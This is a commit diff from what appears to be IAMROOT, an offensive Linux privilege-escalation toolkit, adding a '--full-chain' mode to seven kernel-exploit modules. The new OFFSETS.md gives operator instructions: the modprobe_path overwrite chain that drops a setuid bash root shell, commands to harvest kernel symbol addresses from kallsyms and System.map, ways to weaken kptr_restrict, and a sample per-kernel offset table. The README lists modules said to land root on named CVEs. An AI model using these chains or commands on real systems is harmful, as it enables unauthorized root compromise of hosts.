release: v0.2.0 — --full-chain root-pop opt-in across 7 🟡 modules
iamroot.c: bump IAMROOT_VERSION 0.1.0 → 0.2.0 CVES.md: redefine 🟡 to note --full-chain capability + docs/OFFSETS.md README.md: update Status section for v0.2.0 docs/OFFSETS.md: new doc — env-var/kallsyms/System.map/embedded-table resolution chain + operator workflow for populating offsets per kernel build + sentinel-based success arbitration. All 7 🟡 modules now expose `--full-chain`. Default behavior unchanged.
This commit is contained in:
@@ -8,18 +8,22 @@ Status legend:
|
|||||||
|
|
||||||
- 🟢 **WORKING** — module verified to land root on a vulnerable host
|
- 🟢 **WORKING** — module verified to land root on a vulnerable host
|
||||||
- 🟡 **PRIMITIVE** — fires the kernel primitive (trigger + slab groom
|
- 🟡 **PRIMITIVE** — fires the kernel primitive (trigger + slab groom
|
||||||
+ empirical witness) on a vulnerable host, but stops short of the
|
+ empirical witness) on a vulnerable host. By default returns
|
||||||
full cred-overwrite / R/W chain. Returns `EXPLOIT_FAIL` honestly;
|
`EXPLOIT_FAIL` honestly (no fabricated offsets). Pass `--full-chain`
|
||||||
useful as a vuln-verification probe and a continuation point for
|
to additionally attempt root pop via the shared `modprobe_path`
|
||||||
full chains. Per-kernel offsets deliberately not shipped.
|
finisher (`core/finisher.{c,h}`) — requires kernel offsets via
|
||||||
|
env vars / `/proc/kallsyms` / `/boot/System.map`; see
|
||||||
|
[`docs/OFFSETS.md`](docs/OFFSETS.md). On success returns
|
||||||
|
`EXPLOIT_OK` and drops a root shell; on failure returns
|
||||||
|
`EXPLOIT_FAIL` — never claims root without an empirical
|
||||||
|
setuid-bash sentinel.
|
||||||
- 🔵 **DETECT-ONLY** — module fingerprints presence/absence but no
|
- 🔵 **DETECT-ONLY** — module fingerprints presence/absence but no
|
||||||
exploit. (No module is currently in this state — every registered
|
exploit. (No module is currently in this state.)
|
||||||
module now fires either a full chain or a primitive.)
|
|
||||||
- ⚪ **PLANNED** — stub exists, work not started
|
- ⚪ **PLANNED** — stub exists, work not started
|
||||||
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
|
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
|
||||||
historical reference only
|
historical reference only
|
||||||
|
|
||||||
**Counts (v0.1.0):** 🟢 13 · 🟡 7 · 🔵 0 · ⚪ 1 · 🔴 0
|
**Counts (v0.2.0):** 🟢 13 · 🟡 7 (all `--full-chain` capable) · 🔵 0 · ⚪ 1 · 🔴 0
|
||||||
|
|
||||||
## Inventory
|
## Inventory
|
||||||
|
|
||||||
|
|||||||
@@ -94,19 +94,20 @@ The same binary covers offense and defense:
|
|||||||
|
|
||||||
## Status
|
## Status
|
||||||
|
|
||||||
**Active — v0.1.0 cut 2026-05-16.** Corpus covers **20 modules**
|
**Active — v0.2.0 cut 2026-05-16.** Corpus covers **20 modules**
|
||||||
across the 2016 → 2026 LPE timeline:
|
across the 2016 → 2026 LPE timeline:
|
||||||
|
|
||||||
- 🟢 **13 modules land root** end-to-end on a vulnerable host
|
- 🟢 **13 modules land root** end-to-end on a vulnerable host
|
||||||
(copy_fail family ×5, dirty_pipe, entrybleed leak, pwnkit,
|
(copy_fail family ×5, dirty_pipe, entrybleed leak, pwnkit,
|
||||||
overlayfs CVE-2021-3493, dirty_cow, ptrace_traceme,
|
overlayfs CVE-2021-3493, dirty_cow, ptrace_traceme,
|
||||||
cgroup_release_agent, overlayfs_setuid CVE-2023-0386).
|
cgroup_release_agent, overlayfs_setuid CVE-2023-0386).
|
||||||
- 🟡 **7 modules fire the kernel primitive** (trigger + slab groom +
|
- 🟡 **7 modules fire the kernel primitive** by default and refuse to
|
||||||
empirical witness) but stop short of the full cred-overwrite /
|
claim root without empirical confirmation. Pass `--full-chain` to
|
||||||
R/W chain — they return `EXPLOIT_FAIL` honestly rather than
|
engage the shared `modprobe_path` finisher and attempt root pop —
|
||||||
fabricate per-kernel offsets. Useful as vuln-verification probes.
|
requires kernel offsets via env vars / `/proc/kallsyms` /
|
||||||
(af_packet, af_packet2, cls_route4, fuse_legacy, nf_tables,
|
`/boot/System.map`; see [`docs/OFFSETS.md`](docs/OFFSETS.md).
|
||||||
netfilter_xtcompat, stackrot.)
|
Modules: af_packet, af_packet2, cls_route4, fuse_legacy, nf_tables,
|
||||||
|
netfilter_xtcompat, stackrot.
|
||||||
- Detection rules ship inline (auditd / sigma / yara / falco) and
|
- Detection rules ship inline (auditd / sigma / yara / falco) and
|
||||||
are exported via `iamroot --detect-rules --format=…`.
|
are exported via `iamroot --detect-rules --format=…`.
|
||||||
|
|
||||||
|
|||||||
+144
@@ -0,0 +1,144 @@
|
|||||||
|
# IAMROOT — kernel offset resolution
|
||||||
|
|
||||||
|
The 7 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
|
||||||
|
write, slab UAF, etc.). The default `--exploit` returns
|
||||||
|
`IAMROOT_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed
|
||||||
|
bar means we don't claim root unless we empirically have it.
|
||||||
|
|
||||||
|
`--full-chain` engages the shared finisher (`core/finisher.{c,h}`) which
|
||||||
|
converts the primitive to a real root pop via `modprobe_path` overwrite:
|
||||||
|
|
||||||
|
```
|
||||||
|
attacker → arb_write(modprobe_path, "/tmp/iamroot-mp-<pid>.sh")
|
||||||
|
→ execve("/tmp/iamroot-trig-<pid>") # unknown-format binary
|
||||||
|
→ kernel call_modprobe() # spawns modprobe_path as init
|
||||||
|
→ /tmp/iamroot-mp-<pid>.sh runs as root
|
||||||
|
→ cp /bin/bash /tmp/iamroot-pwn-<pid>; chmod 4755 /tmp/iamroot-pwn-<pid>
|
||||||
|
→ caller exec /tmp/iamroot-pwn-<pid> -p
|
||||||
|
→ root shell
|
||||||
|
```
|
||||||
|
|
||||||
|
This requires resolving `&modprobe_path` (a single kernel virtual
|
||||||
|
address) at runtime.
|
||||||
|
|
||||||
|
## Resolution chain
|
||||||
|
|
||||||
|
`core/offsets.c` tries four sources in order, accepting the first
|
||||||
|
non-zero value for each field:
|
||||||
|
|
||||||
|
1. **Environment variables** — operator override.
|
||||||
|
- `IAMROOT_KBASE=0x...`
|
||||||
|
- `IAMROOT_MODPROBE_PATH=0x...`
|
||||||
|
- `IAMROOT_POWEROFF_CMD=0x...`
|
||||||
|
- `IAMROOT_INIT_TASK=0x...`
|
||||||
|
- `IAMROOT_INIT_CRED=0x...`
|
||||||
|
- `IAMROOT_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`)
|
||||||
|
- `IAMROOT_CRED_OFFSET_EFF=0x...`
|
||||||
|
- `IAMROOT_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4)
|
||||||
|
|
||||||
|
2. **`/proc/kallsyms`** — only useful when `kernel.kptr_restrict=0`
|
||||||
|
OR you're already root. On modern distros (kptr_restrict=1 by
|
||||||
|
default) non-root reads return all zeros and this source is
|
||||||
|
silently skipped.
|
||||||
|
|
||||||
|
3. **`/boot/System.map-$(uname -r)`** — world-readable on some distros
|
||||||
|
(older Debian, some Alma builds). Unaffected by `kptr_restrict`.
|
||||||
|
|
||||||
|
4. **Embedded table** — keyed by `uname -r` glob, entries are
|
||||||
|
offsets *relative to `_text`* (KASLR-safe). Applied on top of a
|
||||||
|
kbase leak (e.g. EntryBleed). Seeded empty in v0.2.0 — schema-only —
|
||||||
|
to honor the no-fabricated-offsets rule. Operators who verify
|
||||||
|
offsets on a specific kernel build are encouraged to upstream
|
||||||
|
entries.
|
||||||
|
|
||||||
|
## How operators populate offsets
|
||||||
|
|
||||||
|
### One-shot (preferred for ad-hoc use)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Look up on a kernel you control (as root, once):
|
||||||
|
sudo grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms
|
||||||
|
|
||||||
|
# Use the addresses inline:
|
||||||
|
IAMROOT_MODPROBE_PATH=0xffffffff8228e7e0 \
|
||||||
|
iamroot --exploit nf_tables --i-know --full-chain
|
||||||
|
```
|
||||||
|
|
||||||
|
### Per-host (write System.map readable)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo chmod 0644 /boot/System.map-$(uname -r)
|
||||||
|
iamroot --exploit nf_tables --i-know --full-chain
|
||||||
|
```
|
||||||
|
|
||||||
|
### Per-boot (lower kptr_restrict)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo sysctl kernel.kptr_restrict=0
|
||||||
|
iamroot --exploit nf_tables --i-know --full-chain
|
||||||
|
```
|
||||||
|
|
||||||
|
Note: each of these requires root *once*. For a true non-root LPE on
|
||||||
|
an unfamiliar host you need either an info-leak module (EntryBleed
|
||||||
|
gives kbase) plus an embedded table entry, or out-of-band offset
|
||||||
|
acquisition.
|
||||||
|
|
||||||
|
## Adding entries to the embedded table
|
||||||
|
|
||||||
|
In `core/offsets.c`, `kernel_table[]` carries the schema:
|
||||||
|
|
||||||
|
```c
|
||||||
|
{ .release_glob = "5.15.0-25-generic",
|
||||||
|
.distro_match = "ubuntu",
|
||||||
|
.rel_modprobe_path = 0x148e480, // & _text
|
||||||
|
.rel_poweroff_cmd = 0x148e3a0,
|
||||||
|
.rel_init_task = 0x1c11dc0,
|
||||||
|
.rel_init_cred = 0x1e0c460,
|
||||||
|
.cred_offset_real = 0x758,
|
||||||
|
.cred_offset_eff = 0x760, },
|
||||||
|
```
|
||||||
|
|
||||||
|
To populate, on the target kernel:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Get _text:
|
||||||
|
_text=$(grep ' _text$' /boot/System.map-$(uname -r) | awk '{print $1}')
|
||||||
|
|
||||||
|
# Get the symbols you want, subtract _text:
|
||||||
|
for sym in modprobe_path poweroff_cmd init_task init_cred; do
|
||||||
|
addr=$(grep " $sym$" /boot/System.map-$(uname -r) | awk '{print $1}')
|
||||||
|
printf "rel_%s = 0x%x\n" $sym $((0x$addr - 0x$_text))
|
||||||
|
done
|
||||||
|
```
|
||||||
|
|
||||||
|
Open a PR with the verified entry and a one-line note on which kernel
|
||||||
|
build + distro you tested against. Upstreamed entries make the
|
||||||
|
`--full-chain` path work out-of-the-box for that build.
|
||||||
|
|
||||||
|
## Verifying success
|
||||||
|
|
||||||
|
The shared finisher (`iamroot_finisher_modprobe_path()`) drops a
|
||||||
|
sentinel file at `/tmp/iamroot-pwn-<pid>` after `modprobe` runs our
|
||||||
|
payload. The finisher polls for this file with `S_ISUID` mode set
|
||||||
|
for up to 3 seconds. Only when the sentinel materializes does the
|
||||||
|
module return `IAMROOT_EXPLOIT_OK` and (unless `--no-shell`) exec
|
||||||
|
the setuid bash to drop a root shell.
|
||||||
|
|
||||||
|
If the sentinel never appears the module returns `IAMROOT_EXPLOIT_FAIL`
|
||||||
|
with a diagnostic. Reasons it might fail even with offsets resolved:
|
||||||
|
|
||||||
|
- The arb-write didn't actually land (slab adjacency lost, value-pointer
|
||||||
|
field at unexpected offset, race not won)
|
||||||
|
- `modprobe_path` resolution was wrong (KASLR slide miscalculated,
|
||||||
|
embedded-table entry stale)
|
||||||
|
- Kernel `STATIC_USERMODEHELPER` config disables the modprobe path
|
||||||
|
- AppArmor / SELinux / Lockdown LSM blocks the userspace `modprobe`
|
||||||
|
invocation
|
||||||
|
|
||||||
|
## Why `modprobe_path` and not `current->cred->uid = 0`?
|
||||||
|
|
||||||
|
The cred-overwrite finisher needs an arb-READ primitive too — to walk
|
||||||
|
the task linked list from `init_task` and find the calling process's
|
||||||
|
`task_struct`. Most of our 🟡 modules have only an arb-write primitive,
|
||||||
|
not a paired read. `modprobe_path` only needs a write to a single
|
||||||
|
known global, which is why it's the default finisher.
|
||||||
Reference in New Issue
Block a user